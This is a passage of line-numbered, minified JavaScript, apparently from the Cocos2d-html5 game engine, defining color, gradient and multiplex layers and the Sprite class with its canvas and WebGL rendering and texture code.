  265. b.A===b.Ea?(n=b.gd.prototype,n.ctor=function(a,c,d){b.Bf.prototype.ctor.call(this);this.o=new b.Rj(b.hc,b.gc);b.gd.prototype.G.call(this,a,c,d)},n.qj=b.Bf.prototype.qj,n.pj=b.Bf.prototype.pj,n.fc=function(){},n.Z=function(a){a=a||b.k;var c=b.view,d=this.Fa;a.fillStyle="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b)+","+this.Ca/255+")";a.fillRect(0,0,this.width*c.pa,-this.height*c.Ta);b.bg++},n.T=function(a){if(this.Ul){a=a||b.k;var c,d=this.s,e=d.length;if(this.zc){var f=this.hv;a.save();this.transform(a);
  266. if(this.Ag){c=this.EB();c.width|=0;c.height|=0;var g=f.Ce;f.RO(c.width,c.height);var h=f.kb,k=this.za;if(this.dj)g.translate(0-c.x+k.x,c.height+c.y-k.y),f.P(h.x+c.x-k.x,h.y+c.y-k.y);else{var m=this.kb,p=k.x-m.x,k=k.y-m.y;g.translate(0-c.x+p,c.height+c.y-k);f.P(h.x+c.x-p,h.y+c.y-k)}if(0<e){this.Tc();for(c=0;c<e;c++)if(h=d[c],0>h.zb)h.T(g);else break;for(this.Z(g);c<e;c++)d[c].T(g)}else this.Z(g);this.Ag=!1}f.T(a);this.arrivalOrder=0;a.restore()}}else b.q.prototype.T.call(this,a)},n.EB=function(){var a=
  267. Q(0,0,this.O.width,this.O.height),c=this.rp(),a=b.Sz(a,this.rp());if(!this.s||0===this.s.length)return a;for(var d=this.s,e=0;e<d.length;e++){var f=d[e];f&&f.zc&&(f=f.wr(c),a=b.qy(a,f))}return a},n=null):(b.assert("function"===typeof b.B.EA,b.e.Nc,"CCLayerWebGL.js"),b.B.EA(),delete b.B.EA);b.assert("function"===typeof b.B.Lz,b.e.Nc,"CCLayerPropertyDefine.js");b.B.Lz();delete b.B.Lz;
  268. b.ul=b.gd.extend({Ah:null,Fe:null,zo:255,Sn:255,kk:null,ov:!1,eo:null,co:null,ub:"LayerGradient",ctor:function(a,c,d){b.gd.prototype.ctor.call(this);this.Ah=b.color(0,0,0,255);this.Fe=b.color(0,0,0,255);this.kk=N(0,-1);this.Sn=this.zo=255;this.eo=N(0,0);this.co=N(0,0);b.ul.prototype.G.call(this,a,c,d)},G:function(a,c,d){a=a||b.color(0,0,0,255);c=c||b.color(0,0,0,255);d=d||N(0,-1);var e=this.Ah,f=this.Fe;e.r=a.r;e.g=a.g;e.b=a.b;this.zo=a.a;f.r=c.r;f.g=c.g;f.b=c.b;this.Sn=c.a;this.kk=d;this.ov=!0;this.eo=
  269. N(0,0);this.co=N(0,0);b.gd.prototype.G.call(this,b.color(a.r,a.g,a.b,255));b.ul.prototype.fc.call(this);return!0},$d:function(a,c){b.gd.prototype.$d.call(this,a,c);this.fc()},qj:function(a){b.gd.prototype.qj.call(this,a);this.fc()},pj:function(a){b.gd.prototype.pj.call(this,a);this.fc()},tx:function(){return this.cc},Ze:function(a){this.color=a},Xe:function(a){this.Fe=a;this.fc()},ox:function(){return this.Fe},R3:function(a){this.zo=a;this.fc()},w0:function(){return this.zo},p3:function(a){this.Sn=
  270. a;this.fc()},J_:function(){return this.Sn},a4:function(a){this.kk.x=a.x;this.kk.y=a.y;this.fc()},C0:function(){return N(this.kk.x,this.kk.y)},$ca:function(){return this.ov},Jha:function(a){this.ov=a;this.fc()},V7:null,fc:null});b.ul.create=function(a,c,d){return new b.ul(a,c,d)};
  271. b.A===b.Ea?(n=b.ul.prototype,n.Z=function(a){a=a||b.k;this.mo&&(a.globalCompositeOperation="lighter");a.save();var c=b.view,d=this.Ca/255,e=this.width*c.pa,c=this.height*c.Ta,f=a.createLinearGradient(this.eo.x,this.eo.y,this.co.x,this.co.y),g=this.Fa,h=this.Fe;f.addColorStop(0,"rgba("+Math.round(g.r)+","+Math.round(g.g)+","+Math.round(g.b)+","+(this.zo/255*d).toFixed(4)+")");f.addColorStop(1,"rgba("+Math.round(h.r)+","+Math.round(h.g)+","+Math.round(h.b)+","+(this.Sn/255*d).toFixed(4)+")");a.fillStyle=
  272. f;a.fillRect(0,0,e,-c);0!=this.o8&&a.rotate(this.p8);a.restore()},n.fc=function(){var a=this.kk,c=0.5*this.width,d=0.5*this.height;this.eo.x=c*-a.x+c;this.eo.y=d*a.y-d;this.co.x=c*a.x+c;this.co.y=d*-a.y-d},n=null):(b.assert("function"===typeof b.B.FA,b.e.Nc,"CCLayerWebGL.js"),b.B.FA(),delete b.B.FA);b.assert("function"===typeof b.B.Mz,b.e.Nc,"CCLayerPropertyDefine.js");b.B.Mz();delete b.B.Mz;
  273. b.uz=b.ae.extend({Sl:0,je:null,ub:"LayerMultiplex",ctor:function(a){b.ae.prototype.ctor.call(this);a&&b.uz.prototype.T0.call(this,a)},T0:function(a){0<a.length&&null==a[a.length-1]&&b.log(b.e.HR);this.je=a;this.Sl=0;this.N(this.je[this.Sl]);return!0},Pja:function(a){a>=this.je.length?b.log(b.e.IR):(this.removeChild(this.je[this.Sl],!0),this.Sl=a,this.N(this.je[a]))},Qja:function(a){a>=this.je.length?b.log(b.e.JR):(this.removeChild(this.je[this.Sl],!0),this.je[this.Sl]=null,this.Sl=a,this.N(this.je[a]))},
  274. G8:function(a){a?this.je.push(a):b.log(b.e.GR)}});b.uz.create=function(){return new b.uz(arguments)};b.B.GA=function(){var a=b.Q.prototype;a.rD=function(a){this.Ma(!0);this.hb(a.Lh(),a.me,a.nf);this.Qd()};a.Jd=function(a){this.Sa!==a&&(this.Sa=a,this.Tt())};a.Lb=function(a){b.ia.prototype.Lb.call(this,a);this.Tt()};a.ctor=function(a,d,e){b.ia.prototype.ctor.call(this);this.Mk=!1;this.Eb=N(0,0);this.Bh=N(0,0);this.o={src:b.hc,U:b.gc};this.ha=Q(0,0,0,0);this.Ub=new b.Cb;this.ow=b.k.createBuffer();this.na=this.He=!0;this.ML(a,d,e)};a.We=function(a,d){var e=this.o;void 0===d?(e.src=a.src,e.U=a.U):(e.src=
  275. a,e.U=d)};a.G=function(){if(0<arguments.length)return this.$k(arguments[0],arguments[1]);b.ia.prototype.G.call(this);this.dirty=this.sh=!1;this.Sa=!0;this.o.src=b.hc;this.o.U=b.gc;this.texture=null;this.na=!0;this.Qb=this.Rb=!1;this.anchorY=this.anchorX=0.5;this.Eb.x=0;this.Eb.y=0;this.gi=!1;var a={r:255,g:255,b:255,a:255};this.Ub.F.t=a;this.Ub.M.t=a;this.Ub.L.t=a;this.Ub.J.t=a;this.He=!0;this.hb(Q(0,0,0,0),!1,O(0,0));return!0};a.ta=function(a,d,e){b.assert(0!=arguments.length,b.e.pT);e=e||!1;if(!b.ia.prototype.G.call(this))return!1;
  276. this.X=null;this.dirty=this.sh=!1;this.Sa=!0;this.o.src=b.hc;this.o.U=b.gc;this.Qb=this.Rb=!1;this.anchorY=this.anchorX=0.5;this.Eb.x=0;this.Eb.y=0;this.gi=!1;var f=b.color(255,255,255,255),g=this.Ub;g.F.t=f;g.M.t=f;g.L.t=f;g.J.t=f;this.na=f=a.vc;if(!f)return this.$c=e||!1,d&&(f=this.ha,f.x=d.x,f.y=d.y,f.width=d.width,f.height=d.height),a.Yd(this.Lw,this),!0;d||(d=Q(0,0,a.width,a.height));a&&(e?(f=d.x+d.height,g=d.y+d.width):(f=d.x+d.width,g=d.y+d.height),f>a.width&&b.error(b.e.Uz,a.url),g>a.height&&
  277. b.error(b.e.Tz,a.url));this.texture=a;this.hb(d,e);this.batchNode=null;return this.He=!0};a.Lw=function(a){if(!this.na){this.na=!0;var d=this.ha;d?b.LC(d)&&(d.width=a.width,d.height=a.height):d=Q(0,0,a.width,a.height);this.texture=a;this.hb(d,this.$c);this.batchNode=this.X;this.He=!0;this.Qd()}};a.hb=function(a,d,e){this.$c=d||!1;this.$d(e||a);this.vG(a);this.EL(a);a=this.Bh;this.Qb&&(a.x=-a.x);this.Rb&&(a.y=-a.y);var f=this.ha;this.Eb.x=a.x+(this.O.width-f.width)/2;this.Eb.y=a.y+(this.O.height-f.height)/
  278. 2;if(this.X)this.dirty=!0;else{a=0+this.Eb.x;d=0+this.Eb.y;e=a+f.width;var f=d+f.height,g=this.Ub;g.F.i={x:a,y:d,z:0};g.M.i={x:e,y:d,z:0};g.L.i={x:a,y:f,z:0};g.J.i={x:e,y:f,z:0};this.He=!0}};a.bf=function(){if(this.dirty){var a=this.Ub,d=this.Tb;if(!this.zc||d&&d!=this.X&&d.Mk)a.M.i={x:0,y:0,z:0},a.L.i={x:0,y:0,z:0},a.J.i={x:0,y:0,z:0},a.F.i={x:0,y:0,z:0},this.Mk=!0;else{this.Mk=!1;var e=this.rm=d&&d!=this.X?b.nl(this.Ve(),d.rm):this.Ve(),f=this.ha,d=this.Eb.x,g=this.Eb.y,h=d+f.width,k=g+f.height,
  279. m=e.Na,p=e.Oa,r=e.a,s=e.b,u=e.I,t=-e.C,e=d*r-g*t+m,f=d*s+g*u+p,v=h*r-g*t+m,g=h*s+g*u+p,w=h*r-k*t+m,h=h*s+k*u+p,m=d*r-k*t+m,d=d*s+k*u+p,k=this.ys;b.Zz||(e|=0,f|=0,v|=0,g|=0,w|=0,h|=0,m|=0,d|=0);a.F.i={x:e,y:f,z:k};a.M.i={x:v,y:g,z:k};a.L.i={x:m,y:d,z:k};a.J.i={x:w,y:h,z:k}}this.textureAtlas.Ry(a,this.atlasIndex);this.dirty=this.sh=!1}this.gi&&this.zg(this.s,b.q.Ff.bf);b.Wj&&b.Ee.Zd([N(this.Ub.F.i.x,this.Ub.F.i.y),N(this.Ub.M.i.x,this.Ub.M.i.y),N(this.Ub.J.i.x,this.Ub.J.i.y),N(this.Ub.L.i.x,this.Ub.L.i.y)],
  280. 4,!0)};a.N=function(a,d,e){b.assert(a,b.e.gT);null==d&&(d=a.zb);null==e&&(e=a.tag);if(this.X){if(!(a instanceof b.Q)){b.log(b.e.eT);return}a.texture.Xd!==this.textureAtlas.texture.Xd&&b.log(b.e.fT);this.X.appendChild(a);this.Wd||this.iD()}b.ia.prototype.N.call(this,a,d,e);this.gi=!0};a.Ba=function(a){b.ia.prototype.Ba.call(this,a);this.Tt()};a.La=function(a){b.ia.prototype.La.call(this,a);this.Tt()};a.Pb=function(a){b.ia.prototype.Pb.call(this,a);this.Tt()};a.il=function(a){var d=this;"string"==typeof a&&
  281. (a=b.ud.qd(a),b.assert(a,b.e.yT));d.Ma(!0);var e=a.la;d.Bh.x=e.x;d.Bh.y=e.y;e=a.Qa();a.na||(d.na=!1,a.Yd(function(a){d.na=!0;var c=a.Qa();c!=d.K&&(d.texture=c);d.hb(a.Lh(),a.me,a.nf);d.Qd()},d));e!=d.K&&(d.texture=e);d.$c=a.me;d.hb(a.Lh(),d.$c,a.nf)};a.YN=function(a){return b.IO(a.Lh(),this.ha)&&a.Qa().getName()==this.K.getName()&&b.QF(a.la,this.Bh)};a.hl=function(a){if(this.X=a)this.rm={a:1,b:0,C:0,I:1,Na:0,Oa:0},this.textureAtlas=this.X.textureAtlas;else{this.atlasIndex=b.Q.qz;this.textureAtlas=
  282. null;this.dirty=this.sh=!1;a=this.Eb.x;var d=this.Eb.y,e=a+this.ha.width,f=d+this.ha.height,g=this.Ub;g.F.i={x:a,y:d,z:0};g.M.i={x:e,y:d,z:0};g.L.i={x:a,y:f,z:0};g.J.i={x:e,y:f,z:0};this.He=!0}};a.sb=function(a){a&&"string"===typeof a?(a=b.Da.Bc(a),this.sb(a),a=a.Jh(),this.hb(Q(0,0,a.width,a.height))):(b.assert(!a||a instanceof b.da,b.e.AT),this.X&&this.X.texture!=a?b.log(b.e.zT):(this.shaderProgram=a?b.Ld.nc(b.Ti):b.Ld.nc(b.Gu),this.X||this.K==a||(this.K=a,this.Yf())))};a.Z=function(){if(this.na){var a=
  283. b.k,d=this.K;d?d.vc&&(this.Hb.Mc(),this.Hb.af(),b.Mh(this.o.src,this.o.U),b.bF(0,d),b.Ic(b.Gl),a.bindBuffer(a.ARRAY_BUFFER,this.ow),this.He&&(a.bufferData(a.ARRAY_BUFFER,this.Ub.Ww,a.DYNAMIC_DRAW),this.He=!1),a.vertexAttribPointer(0,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(1,4,a.UNSIGNED_BYTE,!0,24,12),a.vertexAttribPointer(2,2,a.FLOAT,!1,24,16),a.drawArrays(a.TRIANGLE_STRIP,0,4)):(this.Hb.Mc(),this.Hb.af(),b.Mh(this.o.src,this.o.U),b.te(null),b.Ic(b.Od|b.Tu),a.bindBuffer(a.ARRAY_BUFFER,this.ow),
  284. this.He&&(b.k.bufferData(b.k.ARRAY_BUFFER,this.Ub.Ww,b.k.STATIC_DRAW),this.He=!1),a.vertexAttribPointer(b.tb,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,24,12),a.drawArrays(a.TRIANGLE_STRIP,0,4));b.bg++;if(0!==b.Wj||this.mD)1===b.Wj||this.mD?(a=this.Ub,b.Ee.Zd([N(a.L.i.x,a.L.i.y),N(a.F.i.x,a.F.i.y),N(a.M.i.x,a.M.i.y),N(a.J.i.x,a.J.i.y)],4,!0)):2===b.Wj&&(a=this.CN(),d=this.Eb,b.Ee.Zd([N(d.x,d.y),N(d.x+a.width,d.y),N(d.x+a.width,d.y+a.height),N(d.x,d.y+a.height)],4,!0))}};delete a};b.B.Oz=function(){var a=b.Q.prototype;b.f(a,"opacityModifyRGB",a.ue,a.Jd);b.f(a,"opacity",a.Se,a.Ba);b.f(a,"color",a.Re,a.La);b.f(a,"flippedX",a.e1,a.Ay);b.f(a,"flippedY",a.f1,a.gG);b.f(a,"offsetX",a.cW);b.f(a,"offsetY",a.dW);b.f(a,"texture",a.Qa,a.sb);b.f(a,"textureRectRotated",a.l1);b.f(a,"batchNode",a.LE,a.hl);b.f(a,"quad",a.k0)};b.$o=function(a){function c(){var c=b.$o,e=a.width,h=a.height;d[0].width=e;d[0].height=h;d[1].width=e;d[1].height=h;d[2].width=e;d[2].height=h;d[3].width=e;d[3].height=h;c.canvas.width=e;c.canvas.height=h;var k=c.canvas.getContext("2d");k.drawImage(a,0,0);c.CG.width=e;c.CG.height=h;for(var k=k.getImageData(0,0,e,h).data,m=0;4>m;m++){var p=d[m].getContext("2d");p.getImageData(0,0,e,h).data;c.JP.drawImage(a,0,0);for(var r=c.JP.getImageData(0,0,e,h),s=r.data,u=0;u<k.length;u+=4)s[u]=0===m?k[u]:0,s[u+
  285. 1]=1===m?k[u+1]:0,s[u+2]=2===m?k[u+2]:0,s[u+3]=k[u+3];p.putImageData(r,0,0)}a.onload=null}if(a.uM)return a.uM;var d=[b.Ob("canvas"),b.Ob("canvas"),b.Ob("canvas"),b.Ob("canvas")];try{c()}catch(e){a.onload=c}return a.uM=d};b.$o.canvas=b.Ob("canvas");b.$o.CG=b.Ob("canvas");b.$o.JP=b.$o.CG.getContext("2d");
  286. b.V$=function(a,c,d){d||(d=Q(0,0,a.width,a.height),d=b.Jj(d));var e=b.Ob("canvas"),f=e.getContext("2d");e.width!=d.width&&(e.width=d.width);e.height!=d.height&&(e.height=d.height);f.save();f.drawImage(a,d.x,d.y,d.width,d.height,0,0,d.width,d.height);f.globalCompositeOperation="source-in";f.globalAlpha=c.a/255;f.fillStyle="rgb("+c.r+","+c.g+","+c.b+")";f.fillRect(0,0,d.width,d.height);f.restore();return e};
  287. b.ap=function(a,c,d,e,f){e||(e=Q(0,0,a.width,a.height));a=d.r/255;var g=d.g/255;d=d.b/255;var h=Math.min(e.width,c[0].width),k=Math.min(e.height,c[0].height),m;f?(m=f.getContext("2d"),m.clearRect(0,0,h,k)):(f=b.Ob("canvas"),f.width=h,f.height=k,m=f.getContext("2d"));m.save();m.globalCompositeOperation="lighter";var p=m.globalAlpha;0<a&&(m.globalAlpha=a*p,m.drawImage(c[0],e.x,e.y,h,k,0,0,h,k));0<g&&(m.globalAlpha=g*p,m.drawImage(c[1],e.x,e.y,h,k,0,0,h,k));0<d&&(m.globalAlpha=d*p,m.drawImage(c[2],e.x,
  288. e.y,h,k,0,0,h,k));1>a+g+d&&(m.globalAlpha=p,m.drawImage(c[3],e.x,e.y,h,k,0,0,h,k));m.restore();return f};b.yE=function(a,c){if(!a)return null;if(!c)return a;var d=b.Ob("canvas");d.width=c.width;d.height=c.height;var e=d.getContext("2d");e.translate(d.width/2,d.height/2);e.rotate(-1.5707963267948966);e.drawImage(a,c.x,c.y,c.height,c.width,-c.height/2,-c.width/2,c.height,c.width);return d};
  289. b.Q=b.ia.extend({yb:!0,dirty:!1,atlasIndex:0,textureAtlas:null,X:null,sh:null,gi:null,Mk:!1,rm:null,o:null,K:null,ha:null,$c:!1,Eb:null,Bh:null,Sa:!1,Qb:!1,Rb:!1,na:!1,gb:null,iC:null,ub:"Sprite",Mt:function(){return this.na},Yd:function(a,c){this.gb||(this.gb=[]);this.gb.push({Fh:a,ag:c})},Qd:function(){if(this.gb){for(var a=this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Fh.call(e.ag,this)}a.length=0}},sF:function(){return this.dirty},bP:function(a){this.dirty=a},l1:function(){return this.$c},cp:function(){return this.atlasIndex},
  290. dG:function(a){this.atlasIndex=a},CN:function(){return Q(this.ha.x,this.ha.y,this.ha.width,this.ha.height)},YE:function(){return this.textureAtlas},rG:function(a){this.textureAtlas=a},tba:function(){return this.Eb},cW:function(){return this.Eb.x},dW:function(){return this.Eb.y},Hh:function(){return this.o},Ai:function(a){b.assert(a,b.e.mT);a.na||(this.na=!1,a.Yd(this.rD,this));var c=b.A===b.Ea?!1:a.me,c=this.ta(a.Qa(),a.Lh(),c);this.il(a);return c},rD:null,Rca:function(a){b.assert(a,b.e.nT);var c=
  291. b.ud.qd(a);b.assert(c,a+b.e.oT);return this.Ai(c)},hka:function(a){this.textureAtlas=a.textureAtlas;this.X=a},vG:function(a){this.ha.x=a.x;this.ha.y=a.y;this.ha.width=a.width;this.ha.height=a.height},Tc:function(){if(this.Wd){var a=this.s,c=a.length,d,e,f;for(d=1;d<c;d++){f=a[d];for(e=d-1;0<=e;){if(f.zb<a[e].zb)a[e+1]=a[e];else if(f.zb===a[e].zb&&f.arrivalOrder<a[e].arrivalOrder)a[e+1]=a[e];else break;e--}a[e+1]=f}this.X&&this.zg(a,b.q.Ff.Tc);this.Wd=!1}},Ap:function(a,c){b.assert(a,b.e.tT);-1===
  292. this.s.indexOf(a)?b.log(b.e.sT):c!==a.zIndex&&(this.X&&!this.Wd&&(this.iD(),this.X.PO(!0)),b.q.prototype.Ap.call(this,a,c))},removeChild:function(a,c){this.X&&this.X.Vm(a);b.q.prototype.removeChild.call(this,a,c)},Qg:function(a){var c=this.s,d=this.X;if(d&&null!=c)for(var e=0,f=c.length;e<f;e++)d.Vm(c[e]);b.q.prototype.Qg.call(this,a);this.gi=!1},cP:function(a){this.dirty=this.sh=a;a=this.s;for(var c,d=a?a.length:0,e=0;e<d;e++)c=a[e],c instanceof b.Q&&c.cP(!0)},Ma:function(a){b.q.prototype.Ma.call(this);
  293. a||!this.X||this.sh||(this.gi?this.cP(!0):this.dirty=this.sh=!0)},Cx:function(a){this.X?b.log(b.e.kT):b.q.prototype.Cx.call(this,a)},Ay:function(a){this.Qb!=a&&(this.Qb=a,this.hb(this.ha,this.$c,this.O),this.Ma(!0))},gG:function(a){this.Rb!=a&&(this.Rb=a,this.hb(this.ha,this.$c,this.O),this.Ma(!0))},e1:function(){return this.Qb},f1:function(){return this.Rb},Jd:null,ue:function(){return this.Sa},Lb:null,Tha:function(a,c){b.assert(a,b.e.xT);var d=b.Vw.ZM(a);d?(d=d.Td[c])?this.il(d.qd()):b.log(b.e.wT):
  294. b.log(b.e.vT)},LE:function(){return this.X},iD:function(){if(!this.Wd){this.Wd=!0;for(var a=this.Tb;a&&a!=this.X;)a.iD(),a=a.parent}},Qa:function(){return this.K},Ub:null,ow:null,He:!1,nv:!1,mo:!1,ke:null,Do:null,rB:null,ctor:null,ML:function(a,c,d){if(void 0===a)b.Q.prototype.G.call(this);else if("string"===typeof a)"#"===a[0]?(a=b.ud.qd(a.substr(1,a.length-1)),this.Ai(a)):b.Q.prototype.G.call(this,a,c);else if("object"===typeof a)if(a instanceof b.da)this.ta(a,c,d);else if(a instanceof b.Ef)this.Ai(a);
  295. else if(a instanceof HTMLImageElement||a instanceof HTMLCanvasElement)c=new b.da,c.rd(a),c.Nb(),this.ta(c)},k0:function(){return this.Ub},We:null,G:null,$k:function(a,c){b.assert(a,b.e.lT);var d=b.Da.bn(a);if(d){if(!c){var e=d.Jh();c=Q(0,0,e.width,e.height)}return this.ta(d,c)}d=b.Da.Bc(a);return this.ta(d,c||Q(0,0,d.O.width,d.O.height))},ta:null,Lw:null,hb:null,bf:null,N:null,Tt:function(){var a=this.Fa,c=this.Ca,a={r:a.r,g:a.g,b:a.b,a:c};this.Sa&&(a.r*=c/255,a.g*=c/255,a.b*=c/255);c=this.Ub;c.F.t=
  296. a;c.M.t=a;c.L.t=a;c.J.t=a;this.X&&(this.atlasIndex!=b.Q.qz?this.textureAtlas.Ry(c,this.atlasIndex):this.dirty=!0);this.He=!0},Ba:null,La:null,Pb:null,il:null,m3:function(a){b.log(b.e.uT);this.il(a)},YN:null,MZ:function(){return b.Ef.create(this.K,b.Bt(this.ha),this.$c,b.t2(this.Bh),b.g4(this.O))},hl:null,sb:null,Yf:function(){this.X?b.log(b.e.dT):this.K&&this.K.yi()?(this.o.src=b.hc,this.o.U=b.gc,this.opacityModifyRGB=!0):(this.o.src=b.SRC_ALPHA,this.o.U=b.ONE_MINUS_SRC_ALPHA,this.opacityModifyRGB=
  297. !1)},mk:function(){var a,c=this.K,d=this.Do;c&&d.Qp&&this.ke&&(a=c.Db)&&(c=b.Da.ux(this.ke.Db))&&(this.nv=!0,a instanceof HTMLCanvasElement&&!this.$c&&!this.iC?b.ap(a,c,this.Fa,d,a):(a=b.ap(a,c,this.Fa,d),c=new b.da,c.rd(a),c.Nb(),this.texture=c))},EL:function(a){a=b.Bt(a);var c=this.X?this.textureAtlas.texture:this.K;if(c){var d=c.pixelsWidth,e=c.pixelsHeight,f,g=this.Ub;this.$c?(b.kn?(c=(2*a.x+1)/(2*d),d=c+(2*a.height-2)/(2*d),f=(2*a.y+1)/(2*e),a=f+(2*a.width-2)/(2*e)):(c=a.x/d,d=(a.x+a.height)/
  298. d,f=a.y/e,a=(a.y+a.width)/e),this.Qb&&(e=f,f=a,a=e),this.Rb&&(e=c,c=d,d=e),g.F.l.ea=c,g.F.l.fa=f,g.M.l.ea=c,g.M.l.fa=a,g.L.l.ea=d,g.L.l.fa=f,g.J.l.ea=d,g.J.l.fa=a):(b.kn?(c=(2*a.x+1)/(2*d),d=c+(2*a.width-2)/(2*d),f=(2*a.y+1)/(2*e),a=f+(2*a.height-2)/(2*e)):(c=a.x/d,d=(a.x+a.width)/d,f=a.y/e,a=(a.y+a.height)/e),this.Qb&&(e=c,c=d,d=e),this.Rb&&(e=f,f=a,a=e),g.F.l.ea=c,g.F.l.fa=a,g.M.l.ea=d,g.M.l.fa=a,g.L.l.ea=c,g.L.l.fa=f,g.J.l.ea=d,g.J.l.fa=f);this.He=!0}},Z:null});
  299. b.Q.create=function(a,c,d){return new b.Q(a,c,d)};b.Q.qz=-1;
  300. b.A===b.Ea?(n=b.Q.prototype,n.rD=function(a){this.Ma(!0);this.hb(a.Lh(),a.me,a.nf);a=this.color;255===a.r&&255===a.g&&255===a.b||this.mk();this.Qd()},n.Jd=function(a){this.Sa!==a&&(this.Sa=a,this.Ma(!0))},n.Lb=function(a){b.ia.prototype.Lb.call(this,a);this.wh()},n.ctor=function(a,c,d){b.ia.prototype.ctor.call(this);this.Mk=!1;this.Eb=N(0,0);this.Bh=N(0,0);this.o={src:b.hc,U:b.gc};this.ha=Q(0,0,0,0);this.iC=!1;this.na=!0;this.Do={x:0,y:0,width:0,height:0,Qp:!1};this.rB=O(0,0);this.ML(a,c,d)},n.We=
  301. function(a,c){var d=this.o;void 0===c?(d.src=a.src,d.U=a.U):(d.src=a,d.U=c);this.mo=d&&(d.src==b.SRC_ALPHA&&d.U==b.ONE||d.src==b.ONE&&d.U==b.ONE)},n.G=function(){if(0<arguments.length)return this.$k(arguments[0],arguments[1]);b.ia.prototype.G.call(this);this.dirty=this.sh=!1;this.Sa=!0;this.o.src=b.hc;this.o.U=b.gc;this.texture=null;this.na=!0;this.Qb=this.Rb=!1;this.anchorY=this.anchorX=0.5;this.Eb.x=0;this.Eb.y=0;this.gi=!1;this.hb(Q(0,0,0,0),!1,O(0,0));return!0},n.ta=function(a,c,d){b.assert(0!=
  302. arguments.length,b.e.wQ);if((d=d||!1)&&a.vc){var e=a.Db,e=b.yE(e,c),f=new b.da;f.rd(e);f.Nb();a=f;this.ha=Q(0,0,c.width,c.height)}if(!b.ia.prototype.G.call(this))return!1;this.X=null;this.dirty=this.sh=!1;this.Sa=!0;this.o.src=b.hc;this.o.U=b.gc;this.Qb=this.Rb=!1;this.anchorY=this.anchorX=0.5;this.Eb.x=0;this.Eb.y=0;this.gi=!1;this.na=e=a.vc;if(!e)return this.$c=d,c&&(this.ha.x=c.x,this.ha.y=c.y,this.ha.width=c.width,this.ha.height=c.height),a.Yd(this.Lw,this),!0;c||(c=Q(0,0,a.width,a.height));a&&
  303. (e=c.y+c.height,c.x+c.width>a.width&&b.error(b.e.Uz,a.url),e>a.height&&b.error(b.e.Tz,a.url));this.texture=this.ke=a;this.hb(c,d);this.batchNode=null;return!0},n.Lw=function(a){if(!this.na){this.na=!0;var c=this.ha;c?b.LC(c)&&(c.width=a.width,c.height=a.height):c=Q(0,0,a.width,a.height);this.texture=this.ke=a;this.hb(c,this.$c);this.batchNode=this.X;this.Qd()}},n.hb=function(a,c,d){this.$c=c||!1;this.$d(d||a);this.vG(a);c=this.Do;d=b.rb();c.x=0|a.x*d;c.y=0|a.y*d;c.width=0|a.width*d;c.height=0|a.height*
  304. d;c.Qp=!(0===c.width||0===c.height||0>c.x||0>c.y);a=this.Bh;this.Qb&&(a.x=-a.x);this.Rb&&(a.y=-a.y);this.Eb.x=a.x+(this.O.width-this.ha.width)/2;this.Eb.y=a.y+(this.O.height-this.ha.height)/2;this.X&&(this.dirty=!0)},n.bf=function(){if(this.dirty){var a=this.Tb;!this.zc||a&&a!=this.X&&a.Mk?this.Mk=!0:(this.Mk=!1,this.rm=a&&a!=this.X?b.nl(this.Ve(),a.rm):this.Ve());this.dirty=this.sh=!1}this.gi&&this.zg(this.s,b.q.Ff.bf)},n.N=function(a,c,d){b.assert(a,b.e.uQ);null==c&&(c=a.zb);null==d&&(d=a.tag);
  305. b.ia.prototype.N.call(this,a,c,d);this.gi=!0},n.Ba=function(a){b.ia.prototype.Ba.call(this,a);this.wh()},n.La=function(a){var c=this.color;if(c.r!==a.r||c.g!==a.g||c.b!==a.b)b.ia.prototype.La.call(this,a),this.mk(),this.wh()},n.Pb=function(a){var c=this.color;b.ia.prototype.Pb.call(this,a);a=this.Fa;if(c.r!==a.r||c.g!==a.g||c.b!==a.b)this.mk(),this.wh()},n.il=function(a){var c=this;"string"==typeof a&&(a=b.ud.qd(a),b.assert(a,b.e.zQ));c.Ma(!0);var d=a.la;c.Bh.x=d.x;c.Bh.y=d.y;c.$c=a.me;var d=a.Qa(),
  306. e=a.na;e||(c.na=!1,a.Yd(function(a){c.na=!0;var d=a.Qa();d!=c.K&&(c.texture=d);c.hb(a.Lh(),a.me,a.nf);c.Qd()},c));d!=c.K&&(c.texture=d);c.$c&&(c.ke=d);c.hb(a.Lh(),c.$c,a.nf);c.nv=!1;e&&(a=c.color,255===a.r&&255===a.g&&255===a.b||c.mk())},n.YN=function(a){return a.Qa()!=this.K?!1:b.IO(a.Lh(),this.ha)},n.hl=function(a){(this.X=a)?(this.rm={a:1,b:0,C:0,I:1,Na:0,Oa:0},this.textureAtlas=this.X.textureAtlas):(this.atlasIndex=b.Q.qz,this.textureAtlas=null,this.dirty=this.sh=!1)},n.sb=function(a){a&&"string"===
  307. typeof a?(a=b.Da.Bc(a),this.sb(a),a=a.Jh(),this.hb(Q(0,0,a.width,a.height))):(b.assert(!a||a instanceof b.da,b.e.AQ),this.K!=a&&(a&&a.Db instanceof HTMLImageElement&&(this.ke=a),this.K=a))},n.Z=function(a){if(this.na){a=a||b.k;this.mo&&(a.globalCompositeOperation="lighter");var c=b.view.pa,d=b.view.Ta;a.globalAlpha=this.Ca/255;var e=this.ha,f=this.O,g=this.Eb,h=this.rB,k=0|g.x,m=-g.y-e.height,p=this.Do;h.width=e.width*c;h.height=e.height*d;if(this.Qb||this.Rb)a.save(),this.Qb&&(k=-g.x-e.width,a.scale(-1,
  308. 1)),this.Rb&&(m=g.y,a.scale(1,-1));k*=c;m*=d;this.K&&p.Qp?(f=this.K.Db,this.nv?a.drawImage(f,0,0,p.width,p.height,k,m,h.width,h.height):a.drawImage(f,p.x,p.y,p.width,p.height,k,m,h.width,h.height)):!this.K&&p.Qp&&(h=this.color,a.fillStyle="rgba("+h.r+","+h.g+","+h.b+",1)",a.fillRect(k,m,f.width*c,f.height*d));1===b.Wj||this.mD?(a.strokeStyle="rgba(0,255,0,1)",k/=c,m=-(m/d),b.Ee.Zd([N(k,m),N(k+e.width,m),N(k+e.width,m-e.height),N(k,m-e.height)],4,!0)):2===b.Wj&&(a.strokeStyle="rgba(0,255,0,1)",c=this.ha,
